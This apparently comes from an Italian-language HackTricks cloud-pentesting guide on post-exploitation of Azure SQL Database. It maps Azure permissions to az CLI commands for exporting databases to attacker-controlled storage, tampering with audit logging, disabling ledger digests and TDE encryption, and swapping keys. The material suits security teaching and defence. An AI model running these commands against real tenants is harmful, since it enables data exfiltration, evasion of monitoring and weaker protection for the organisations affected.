# Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Post Exploitation

Per ulteriori informazioni su SQL Database controlla:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`

Con questi permessi, un attaccante può creare e aggiornare database all'interno dell'ambiente compromesso. Questa attività di post-exploitation potrebbe consentire a un attaccante di aggiungere dati malevoli, modificare le configurazioni del database o inserire backdoor per una maggiore persistenza, potenzialmente interrompendo le operazioni o abilitando ulteriori azioni malevole.
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
Con queste autorizzazioni (`Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`) puoi ripristinare un database eliminato:
```bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

```
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`

Con questi permessi, un attaccante può creare e aggiornare elasticPools all'interno dell'ambiente compromesso. Questa attività di post-exploitation potrebbe consentire a un attaccante di aggiungere dati malevoli, modificare le configurazioni del database o inserire backdoor per una maggiore persistenza, potenzialmente interrompendo le operazioni o abilitando ulteriori azioni malevole.
```bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
```
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`

Con questo permesso, puoi modificare o abilitare le impostazioni di auditing su un Azure SQL Server. Questo potrebbe consentire a un attaccante o a un utente autorizzato di manipolare le configurazioni di auditing, potenzialmente coprendo le tracce o reindirizzando i log di auditing a una posizione sotto il loro controllo. Questo può ostacolare il monitoraggio della sicurezza o consentire di tenere traccia delle azioni. NOTA: Per abilitare l'auditing per un Azure SQL Server utilizzando Blob Storage, devi allegare un'account di archiviazione dove i log di auditing possono essere salvati.
```bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
```
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`

Con questo permesso, puoi modificare le politiche di connessione di un Azure SQL Server. Questa capacità può essere sfruttata per abilitare o modificare le impostazioni di connessione a livello di server.
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### `Microsoft.Sql/servers/databases/export/action`

Con questo permesso, puoi esportare un database da un Azure SQL Server a un account di archiviazione. Un attaccante o un utente autorizzato con questo permesso può esfiltrare dati sensibili dal database esportandoli in una posizione che controllano, ponendo un rischio significativo di violazione dei dati. È importante conoscere la chiave di archiviazione per poter eseguire questa operazione.
```bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

```
### `Microsoft.Sql/servers/databases/import/action`

Con questo permesso, puoi importare un database in un Azure SQL Server. Un attaccante o un utente autorizzato con questo permesso può potenzialmente caricare database dannosi o manipolati. Questo può portare a ottenere il controllo su dati sensibili o a incorporare script o trigger dannosi all'interno del database importato. Inoltre, puoi importarlo nel tuo server in Azure. Nota: Il server deve consentire ai servizi e alle risorse di Azure di accedere al server.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
### `Microsoft.Sql/servers/connectionPolicies/write` && `Microsoft.Sql/servers/connectionPolicies/read`

Con queste autorizzazioni, un utente può modificare e recuperare le politiche di connessione di un server Azure SQL. Queste autorizzazioni consentono a qualcuno di cambiare il modo in cui i client si connettono al server, scegliendo tra metodi come redirect o proxy, il che potrebbe essere sfruttato per indebolire la sicurezza, reindirizzare il traffico o intercettare dati sensibili se configurato in modo errato.
```bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
```
### `Microsoft.Sql/servers/keys/write` && `Microsoft.Sql/servers/keys/read`

Con queste autorizzazioni, un utente può aggiornare e recuperare le chiavi di crittografia associate a un Azure SQL Server. Queste chiavi sono spesso utilizzate per proteggere i dati sensibili tramite crittografia, quindi manipolarle potrebbe compromettere la sicurezza dei dati consentendo la decrittazione non autorizzata o modifiche alla rotazione delle chiavi.
```bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
```
### `Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action`, `Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read`, `Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read`

Questa autorizzazione consente di disabilitare il Ledger Digest per un Azure SQL Database, il che interrompe il caricamento periodico dei registri di digest crittografici su Azure Blob Storage che verifica l'integrità dei dati.
```bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
```
### `Microsoft.Sql/servers/databases/transparentDataEncryption/write`, `Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read`, `Microsoft.Sql/servers/databases/transparentDataEncryption/read`

Questo permesso consente a un utente autorizzato o a un attaccante di abilitare, disabilitare o modificare le impostazioni di Transparent Data Encryption (TDE) su un database Azure SQL, potenzialmente influenzando la sicurezza dei dati alterando le configurazioni di crittografia.
```bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
```
{{#include ../../../banners/hacktricks-training.md}}
